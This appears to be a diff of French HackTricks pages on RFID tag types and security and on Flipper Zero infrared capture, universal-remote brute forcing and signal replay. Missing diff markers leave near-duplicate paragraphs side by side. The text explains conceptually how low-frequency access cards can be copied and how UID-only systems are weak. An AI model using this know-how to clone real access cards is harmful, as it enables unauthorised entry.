Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
## Introduction
**L'identification par radiofréquence (RFID)** est la solution radio à courte portée la plus populaire. Elle est généralement utilisée pour stocker et transmettre des informations qui identifient une entité.
Une étiquette RFID peut compter sur **sa propre source d'alimentation (active)**, telle qu'une batterie intégrée, ou recevoir son alimentation de l'antenne de lecture en utilisant le courant **induit par les ondes radio reçues** (**passive**).
Une étiquette RFID peut s'appuyer sur **sa propre source d'alimentation (active)**, comme une batterie intégrée, ou recevoir son alimentation de l'antenne de lecture en utilisant le courant **induit par les ondes radio reçues** (**passive**).
### Classes
EPCglobal divise les étiquettes RFID en six catégories. Une étiquette dans chaque catégorie possède toutes les capacités répertoriées dans la catégorie précédente, ce qui la rend rétrocompatible.
EPCglobal divise les étiquettes RFID en six catégories. Une étiquette de chaque catégorie possède toutes les capacités énumérées dans la catégorie précédente, ce qui la rend rétrocompatible.
* Les étiquettes de **classe 0** sont des étiquettes **passives** qui fonctionnent dans les bandes **UHF**. Le vendeur les **préprogramme** à l'usine de production. Par conséquent, vous **ne pouvez pas modifier** les informations stockées dans leur mémoire.
* Les étiquettes de **classe 1** peuvent également fonctionner dans les bandes **HF**. De plus, elles ne peuvent être **écrites qu'une seule fois** après la production. De nombreuses étiquettes de classe 1 peuvent également traiter des **contrôles de redondance cyclique** (CRC) des commandes qu'elles reçoivent. Les CRC sont quelques octets supplémentaires à la fin des commandes pour la détection d'erreurs.
* Les étiquettes de **classe 2** peuvent être **écrites plusieurs fois**.
* Les étiquettes de **classe 3** peuvent contenir des **capteurs intégrés** qui peuvent enregistrer des paramètres environnementaux, tels que la température actuelle ou le mouvement de l'étiquette. Ces étiquettes sont **semi-passives**, car bien qu'elles **aient** une source d'alimentation intégrée, telle qu'une **batterie** intégrée, elles **ne peuvent pas initier** de **communication** sans fil avec d'autres étiquettes ou lecteurs.
* Les étiquettes de **classe 4** peuvent initier une communication avec d'autres étiquettes de la même classe, ce qui en fait des étiquettes **actives**.
* Les étiquettes de **classe 5** peuvent fournir **de l'énergie à d'autres étiquettes et communiquer avec toutes les classes d'étiquettes précédentes**. Les étiquettes de classe 5 peuvent agir en tant que **lecteurs RFID**.
* Les étiquettes de **Classe 0** sont des étiquettes **passives** qui fonctionnent dans les bandes **UHF**. Le fournisseur **les préprogramme** à l'usine de production. En conséquence, vous **ne pouvez pas changer** les informations stockées dans leur mémoire.
* Les étiquettes de **Classe 1** peuvent également fonctionner dans les bandes **HF**. De plus, elles peuvent être **écrites une seule fois** après production. De nombreuses étiquettes de Classe 1 peuvent également traiter des **contrôles de redondance cyclique** (CRC) des commandes qu'elles reçoivent. Les CRC sont quelques octets supplémentaires à la fin des commandes pour la détection d'erreurs.
* Les étiquettes de **Classe 2** peuvent être **écrites plusieurs fois**.
* Les étiquettes de **Classe 3** peuvent contenir des **capteurs intégrés** qui peuvent enregistrer des paramètres environnementaux, tels que la température actuelle ou le mouvement de l'étiquette. Ces étiquettes sont **semi-passives**, car bien qu'elles **aient** une source d'alimentation intégrée, comme une **batterie** intégrée, elles **ne peuvent pas initier** une **communication** sans fil avec d'autres étiquettes ou lecteurs.
* Les étiquettes de **Classe 4** peuvent initier une communication avec d'autres étiquettes de la même classe, ce qui en fait des **étiquettes actives**.
* Les étiquettes de **Classe 5** peuvent fournir **de l'énergie à d'autres étiquettes et communiquer avec toutes les classes d'étiquettes précédentes**. Les étiquettes de Classe 5 peuvent agir comme des **lecteurs RFID**.
### Informations stockées dans les étiquettes RFID
La mémoire d'une étiquette RFID stocke généralement quatre types de données : les **données d'identification**, qui **identifient** l'**entité** à laquelle l'étiquette est attachée (ces données incluent des champs définis par l'utilisateur, tels que des comptes bancaires) ; les **données supplémentaires**, qui fournissent **d'autres** **détails** concernant l'entité ; les **données de contrôle**, utilisées pour la **configuration interne** de l'étiquette ; et les **données du fabricant** de l'étiquette, qui contiennent un Identifiant Unique de l'étiquette (**UID**) et des détails concernant la **production**, le **type** et le **vendeur** de l'étiquette. Vous trouverez les deux premiers types de données dans toutes les étiquettes commerciales ; les deux derniers peuvent différer en fonction du vendeur de l'étiquette.
La mémoire d'une étiquette RFID stocke généralement quatre types de données : les **données d'identification**, qui **identifient** l'**entité** à laquelle l'étiquette est attachée (ces données incluent des champs définis par l'utilisateur, tels que des comptes bancaires) ; les **données supplémentaires**, qui fournissent des **détails** **supplémentaires** concernant l'entité ; les **données de contrôle**, utilisées pour la **configuration** interne de l'étiquette ; et les **données du fabricant** de l'étiquette, qui contiennent un Identifiant Unique de l'étiquette (**UID**) et des détails concernant la **production**, le **type** et le **fournisseur** de l'étiquette. Vous trouverez les deux premiers types de données dans toutes les étiquettes commerciales ; les deux derniers peuvent différer en fonction du fournisseur de l'étiquette.
La norme ISO spécifie la valeur de l'Identifiant de Famille d'Application (**AFI**), un code qui indique le **type d'objet** auquel l'étiquette appartient. Un autre registre important, également spécifié par l'ISO, est l'Identifiant de Format de Stockage des Données (**DSFID**), qui définit l'**organisation logique des données utilisateur**.
La norme ISO spécifie la valeur de l'Identifiant de Famille d'Application (**AFI**), un code qui indique le **type d'objet** auquel appartient l'étiquette. Un autre registre important, également spécifié par l'ISO, est l'Identifiant de Format de Stockage de Données (**DSFID**), qui définit l'**organisation logique des données utilisateur**.
La plupart des **contrôles de sécurité** RFID ont des mécanismes qui **restreignent** les opérations de **lecture** ou d'**écriture** sur chaque bloc mémoire utilisateur et sur les registres spéciaux contenant les valeurs AFI et DSFID. Ces **mécanismes de verrouillage** utilisent des données stockées dans la mémoire de contrôle et ont des **mots de passe par défaut** préconfigurés par le vendeur mais permettent aux propriétaires d'étiquettes de **configurer des mots de passe personnalisés**.
La plupart des **contrôles de sécurité** RFID ont des mécanismes qui **restreignent** les opérations de **lecture** ou d'**écriture** sur chaque bloc de mémoire utilisateur et sur les registres spéciaux contenant les valeurs AFI et DSFID. Ces **mécanismes de verrouillage** utilisent des données stockées dans la mémoire de contrôle et ont des **mots de passe par défaut** préconfigurés par le fournisseur, mais permettent aux propriétaires d'étiquettes de **configurer des mots de passe personnalisés**.
### Comparaison des étiquettes à basse et haute fréquence
### Comparaison des étiquettes basse et haute fréquence
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
## Étiquettes RFID à basse fréquence (125 kHz)
Les **étiquettes à basse fréquence** sont souvent utilisées dans des systèmes qui **ne nécessitent pas une sécurité élevée** : accès aux bâtiments, clés d'interphone, cartes d'adhésion à une salle de sport, etc. En raison de leur portée plus grande, elles sont pratiques pour les parkings payants : le conducteur n'a pas besoin d'approcher la carte du lecteur, car elle est activée de plus loin. En même temps, les étiquettes à basse fréquence sont très primitives, elles ont un faible débit de transfert de données. Pour cette raison, il est impossible de mettre en œuvre un transfert de données bidirectionnel complexe pour des choses telles que le maintien de l'équilibre et la cryptographie. Les étiquettes à basse fréquence ne transmettent que leur ID court sans aucun moyen d'authentification.
Les **étiquettes à basse fréquence** sont souvent utilisées dans des systèmes qui **ne nécessitent pas une haute sécurité** : accès aux bâtiments, clés d'interphone, cartes de membre de gym, etc. En raison de leur portée plus élevée, elles sont pratiques à utiliser pour le stationnement payant : le conducteur n'a pas besoin d'apporter la carte près du lecteur, car elle est déclenchée de plus loin. En même temps, les étiquettes à basse fréquence sont très primitives, elles ont un faible taux de transfert de données. Pour cette raison, il est impossible de mettre en œuvre un transfert de données bidirectionnel complexe pour des choses comme la gestion de solde et la cryptographie. Les étiquettes à basse fréquence ne transmettent que leur court ID sans aucun moyen d'authentification.
Ces dispositifs reposent sur la technologie **RFID passive** et fonctionnent dans une **plage de 30 kHz à 300 kHz**, bien qu'il soit plus courant d'utiliser 125 kHz à 134 kHz :
Ces dispositifs s'appuient sur la technologie **RFID passive** et fonctionnent dans une **plage de 30 kHz à 300 kHz**, bien qu'il soit plus courant d'utiliser 125 kHz à 134 kHz :
* **Longue portée** — une fréquence plus basse se traduit par une portée plus grande. Il existe des lecteurs EM-Marin et HID, qui fonctionnent à une distance allant jusqu'à un mètre. Ils sont souvent utilisés dans les parkings.
* **Protocole primitif** — en raison du faible débit de transfert de données, ces étiquettes ne peuvent transmettre que leur ID court. Dans la plupart des cas, les données ne sont pas authentifiées et ne sont protégées d'aucune manière. Dès que la carte est à portée du lecteur, elle commence simplement à transmettre son ID.
* **Faible sécurité** — ces cartes peuvent être facilement copiées, voire lues depuis la poche de quelqu'un d'autre en raison de la primitivité du protocole.
* **Longue portée** — une fréquence plus basse se traduit par une portée plus élevée. Il existe des lecteurs EM-Marin et HID, qui fonctionnent à une distance allant jusqu'à un mètre. Ceux-ci sont souvent utilisés dans le stationnement.
* **Protocole primitif** — en raison du faible taux de transfert de données, ces étiquettes ne peuvent transmettre que leur court ID. Dans la plupart des cas, les données ne sont pas authentifiées et ne sont pas protégées de quelque manière que ce soit. Dès que la carte est à portée du lecteur, elle commence simplement à transmettre son ID.
* **Faible sécurité** — ces cartes peuvent être facilement copiées, ou même lues depuis la poche de quelqu'un d'autre en raison de la primitivité du protocole.
**Protocoles populaires à 125 kHz :**
**Protocoles 125 kHz populaires :**
* **EM-Marin** — EM4100, EM4102. Le protocole le plus populaire dans la CEI. Peut être lu à partir d'environ un mètre en raison de sa simplicité et de sa stabilité.
* **HID Prox II** — protocole basse fréquence introduit par HID Global. Ce protocole est plus populaire dans les pays occidentaux. Il est plus complexe et les cartes et lecteurs pour ce protocole sont relativement coûteux.
* **Indala** — très ancien protocole basse fréquence introduit par Motorola, et plus tard acquis par HID. Vous avez moins de chances de le rencontrer dans la nature par rapport aux deux précédents car il est en voie de disparition.
* **EM-Marin** — EM4100, EM4102. Le protocole le plus populaire dans la CEI. Peut être lu à environ un mètre en raison de sa simplicité et de sa stabilité.
* **HID Prox II** — protocole à basse fréquence introduit par HID Global. Ce protocole est plus populaire dans les pays occidentaux. Il est plus complexe et les cartes et lecteurs pour ce protocole sont relativement chers.
* **Indala** — très ancien protocole à basse fréquence introduit par Motorola, et plus tard acquis par HID. Vous êtes moins susceptible de le rencontrer dans la nature par rapport aux deux précédents car il est en train de tomber en désuétude.
En réalité, il existe de nombreux autres protocoles à basse fréquence. Mais ils utilisent tous la même modulation sur la couche physique et peuvent être considérés, d'une manière ou d'une autre, comme une variation de ceux répertoriés ci-dessus.
En réalité, il existe beaucoup plus de protocoles à basse fréquence. Mais ils utilisent tous la même modulation au niveau physique et peuvent être considérés, d'une manière ou d'une autre, comme une variation de ceux énumérés ci-dessus.
### Attaque
@ -69,24 +72,24 @@ Vous pouvez **attaquer ces étiquettes avec le Flipper Zero** :
## Étiquettes RFID à haute fréquence (13,56 MHz)
Les **étiquettes à haute fréquence** sont utilisées pour une interaction lecteur-étiquette plus complexe lorsque vous avez besoin de cryptographie, d'un transfert de données bidirectionnel important, d'authentification, etc.\
On les trouve généralement dans les cartes bancaires, les transports publics et autres passes sécurisées.
Les **étiquettes à haute fréquence** sont utilisées pour une interaction plus complexe entre le lecteur et l'étiquette lorsque vous avez besoin de cryptographie, d'un large transfert de données bidirectionnel, d'authentification, etc.\
On les trouve généralement dans les cartes bancaires, les transports publics et d'autres passes sécurisées.
**Les étiquettes à haute fréquence de 13,56 MHz sont un ensemble de normes et de protocoles**. Elles sont généralement appelées [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), mais ce n'est pas toujours correct. L'ensemble de protocoles de base utilisé aux niveaux physique et logique est l'ISO 14443. Les protocoles de haut niveau, ainsi que les normes alternatives (comme l'ISO 19092), sont basés sur celui-ci. Beaucoup de gens se réfèrent à cette technologie comme **Near Field Communication (NFC)**, un terme pour les appareils fonctionnant sur la fréquence de 13,56 MHz.
Les **étiquettes à haute fréquence de 13,56 MHz sont un ensemble de normes et de protocoles**. Elles sont généralement appelées [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), mais ce n'est pas toujours correct. L'ensemble de protocoles de base utilisé aux niveaux physique et logique est ISO 14443. Les protocoles de haut niveau, ainsi que les normes alternatives (comme ISO 19092), en sont basés. Beaucoup de gens se réfèrent à cette technologie comme **Communication en Champ Proche (NFC)**, un terme pour les dispositifs fonctionnant à la fréquence de 13,56 MHz.
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
Pour simplifier, l'architecture du NFC fonctionne comme suit : le protocole de transmission est choisi par l'entreprise fabriquant les cartes et mis en œuvre sur la base de l'ISO 14443 de bas niveau. Par exemple, NXP a inventé son propre protocole de transmission de haut niveau appelé Mifare. Mais au niveau inférieur, les cartes Mifare sont basées sur la norme ISO 14443-A.
Pour simplifier, l'architecture NFC fonctionne comme suit : le protocole de transmission est choisi par l'entreprise fabriquant les cartes et mis en œuvre sur la base de l'ISO 14443 de bas niveau. Par exemple, NXP a inventé son propre protocole de transmission de haut niveau appelé Mifare. Mais au niveau inférieur, les cartes Mifare sont basées sur la norme ISO 14443-A.
Flipper peut interagir à la fois avec le protocole de transmission ISO 14443 de bas niveau, ainsi qu'avec le protocole de transfert de données Mifare Ultralight et EMV utilisé dans les cartes bancaires. Nous travaillons à ajouter le support pour Mifare Classic et NFC NDEF. Un examen approfondi des protocoles et normes qui composent le NFC vaut un article séparé que nous prévoyons de publier ultérieurement.
Flipper peut interagir à la fois avec le protocole ISO 14443 de bas niveau, ainsi qu'avec le protocole de transfert de données Mifare Ultralight et EMV utilisé dans les cartes bancaires. Nous travaillons à l'ajout de la prise en charge de Mifare Classic et NFC NDEF. Un examen approfondi des protocoles et des normes qui composent le NFC mérite un article séparé que nous prévoyons de publier plus tard.
Toutes les cartes à haute fréquence basées sur la norme ISO 14443-A ont un identifiant de puce unique. Il agit comme le numéro de série de la carte, comme l'adresse MAC d'une carte réseau. **Généralement, l'UID est long de 4 ou 7 octets**, mais peut rarement aller **jusqu'à 10**. Les UIDs ne sont pas un secret et ils sont facilement lisibles, **parfois même imprimés sur la carte elle-même**.
Toutes les cartes à haute fréquence basées sur la norme ISO 14443-A ont un identifiant de puce unique. Il agit comme le numéro de série de la carte, comme l'adresse MAC d'une carte réseau. **En général, l'UID fait 4 ou 7 octets**, mais peut rarement atteindre **jusqu'à 10**. Les UIDs ne sont pas secrets et sont facilement lisibles, **parfois même imprimés sur la carte elle-même**.
Il existe de nombreux systèmes de contrôle d'accès qui s'appuient sur l'UID pour **authentifier et accorder l'accès**. Parfois, cela se produit **même** lorsque les étiquettes RFID **supportent la cryptographie**. Un tel **mauvais usage** les ramène au niveau des **cartes 125 kHz** en termes de **sécurité**. Les cartes virtuelles (comme Apple Pay) utilisent un UID dynamique pour que les propriétaires de téléphones ne puissent pas ouvrir des portes avec leur application de paiement.
Il existe de nombreux systèmes de contrôle d'accès qui s'appuient sur l'UID pour **authentifier et accorder l'accès**. Parfois, cela se produit **même** lorsque les étiquettes RFID **supportent la cryptographie**. Une telle **mauvaise utilisation** les ramène au niveau des **cartes 125 kHz** en termes de **sécurité**. Les cartes virtuelles (comme Apple Pay) utilisent un UID dynamique afin que les propriétaires de téléphones ne puissent pas ouvrir des portes avec leur application de paiement.
* **Courte portée** — les cartes à haute fréquence sont spécialement conçues pour être placées à proximité du lecteur. Cela aide également à protéger la carte contre les interactions non autorisées. La portée de lecture maximale que nous avons réussi à atteindre était d'environ 15 cm, et c'était avec des lecteurs à longue portée fabriqués sur mesure.
* **Protocoles avancés** — des vitesses de transfert de données allant jusqu'à 424 kbps permettent des protocoles complexes avec un transfert de données bidirectionnel complet. Ce qui **permet la cryptographie**, le transfert de données, etc.
* **Haute sécurité** — les cartes sans contact à haute fréquence ne sont en aucun cas inférieures aux cartes à puce. Il existe des cartes qui prennent en charge des algorithmes de chiffrement cryptographiquement forts comme l'AES et mettent en œuvre la cryptographie asymétrique.
* **Faible portée** — les cartes à haute fréquence sont spécifiquement conçues pour être placées près du lecteur. Cela aide également à protéger la carte des interactions non autorisées. La portée de lecture maximale que nous avons réussi à atteindre était d'environ 15 cm, et c'était avec des lecteurs de haute portée sur mesure.
* **Protocoles avancés** — des vitesses de transfert de données allant jusqu'à 424 kbps permettent des protocoles complexes avec un transfert de données bidirectionnel complet. Ce qui à son tour **permet la cryptographie**, le transfert de données, etc.
* **Haute sécurité** — les cartes sans contact à haute fréquence ne sont en aucun cas inférieures aux cartes intelligentes. Il existe des cartes qui supportent des algorithmes cryptographiquement robustes comme AES et mettent en œuvre la cryptographie asymétrique.
### Attaque
@ -106,14 +109,17 @@ Ou en utilisant le **proxmark** :
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# FZ - Infrarouge
# FZ - Infrared
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Introduction <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
## Intro <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
Pour plus d'informations sur le fonctionnement de l'infrarouge, consultez :
@ -22,39 +25,42 @@ Pour plus d'informations sur le fonctionnement de l'infrarouge, consultez :
## Récepteur de signal IR dans Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
Flipper utilise un récepteur de signal IR numérique TSOP, qui **permet d'intercepter les signaux des télécommandes IR**. Il existe certains **smartphones** comme Xiaomi, qui ont également un port IR, mais gardez à l'esprit que **la plupart d'entre eux ne peuvent que transmettre** des signaux et sont **incapables de les recevoir**.
Flipper utilise un récepteur de signal IR numérique TSOP, qui **permet d'intercepter les signaux des télécommandes IR**. Il existe des **smartphones** comme Xiaomi, qui ont également un port IR, mais gardez à l'esprit que **la plupart d'entre eux ne peuvent que transmettre** des signaux et sont **incapables de les recevoir**.
Le récepteur infrarouge de Flipper est **assez sensible**. Vous pouvez même **capturer le signal** tout en restant **quelque part entre** la télécommande et la télévision. Il n'est pas nécessaire de pointer la télécommande directement vers le port IR de Flipper. Cela est pratique lorsque quelqu'un change de chaîne en étant près de la télévision, et que vous et Flipper êtes à une certaine distance.
Le récepteur infrarouge de Flipper est **assez sensible**. Vous pouvez même **attraper le signal** tout en restant **quelque part entre** la télécommande et la télévision. Il n'est pas nécessaire de pointer la télécommande directement vers le port IR de Flipper. Cela est pratique lorsque quelqu'un change de chaîne tout en se tenant près de la télévision, et que vous et Flipper êtes à une certaine distance.
Comme le **décodage du signal infrarouge** se fait du côté **logiciel**, Flipper Zero prend en charge potentiellement la **réception et la transmission de tous les codes de télécommande IR**. Dans le cas de **protocoles inconnus** qui ne peuvent pas être reconnus, il **enregistre et rejoue** le signal brut tel qu'il a été reçu.
Comme le **décodage du signal infrarouge** se fait du côté **logiciel**, Flipper Zero prend potentiellement en charge la **réception et la transmission de tous les codes de télécommande IR**. Dans le cas de protocoles **inconnus** qui ne peuvent pas être reconnus - il **enregistre et rejoue** le signal brut exactement tel qu'il a été reçu.
## Actions
### Télécommandes Universelles
Flipper Zero peut être utilisé comme une **télécommande universelle pour contrôler n'importe quelle télévision, climatiseur ou centre multimédia**. Dans ce mode, Flipper **force brute** tous les **codes connus** de tous les fabricants pris en charge **selon le dictionnaire de la carte SD**. Vous n'avez pas besoin de choisir une télécommande particulière pour éteindre une télévision de restaurant.
Flipper Zero peut être utilisé comme une **télécommande universelle pour contrôler n'importe quelle télévision, climatiseur ou centre multimédia**. Dans ce mode, Flipper **force par essais** tous les **codes connus** de tous les fabricants pris en charge **selon le dictionnaire de la carte SD**. Vous n'avez pas besoin de choisir une télécommande particulière pour éteindre une télévision de restaurant.
Il suffit d'appuyer sur le bouton d'alimentation en mode Télécommande Universelle, et Flipper enverra **séquentiellement des commandes "Éteindre"** de toutes les télévisions qu'il connaît : Sony, Samsung, Panasonic... et ainsi de suite. Lorsque la télévision reçoit son signal, elle réagira et s'éteindra.
Il suffit d'appuyer sur le bouton d'alimentation en mode Télécommande Universelle, et Flipper **enverra séquentiellement les commandes "Power Off"** de toutes les télévisions qu'il connaît : Sony, Samsung, Panasonic... et ainsi de suite. Lorsque la télévision reçoit son signal, elle réagira et s'éteindra.
Une telle attaque par force brute prend du temps. Plus le dictionnaire est grand, plus il faudra de temps pour terminer. Il est impossible de savoir quel signal exactement la télévision a reconnu, car il n'y a pas de retour d'information de la télévision.
Ce type de force brute prend du temps. Plus le dictionnaire est grand, plus cela prendra de temps pour finir. Il est impossible de savoir quel signal exactement la télévision a reconnu puisque il n'y a pas de retour d'information de la télévision.
### Apprendre une Nouvelle Télécommande
Il est possible de **capturer un signal infrarouge** avec Flipper Zero. S'il **trouve le signal dans la base de données**, Flipper saura automatiquement **quel appareil il s'agit** et vous permettra d'interagir avec lui.\
Si ce n'est pas le cas, Flipper peut **stocker** le **signal** et vous permettra de le **rejouer**.
Il est possible de **capturer un signal infrarouge** avec Flipper Zero. Si il **trouve le signal dans la base de données**, Flipper saura automatiquement **de quel appareil il s'agit** et vous permettra d'interagir avec lui.\
Si ce n'est pas le cas, Flipper peut **stocker** le **signal** et vous permettra de **le rejouer**.
## Références
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,65 +1,71 @@
# Problème du double saut Kerberos
# Problème de Double Hop Kerberos
{% hint style="success" %}
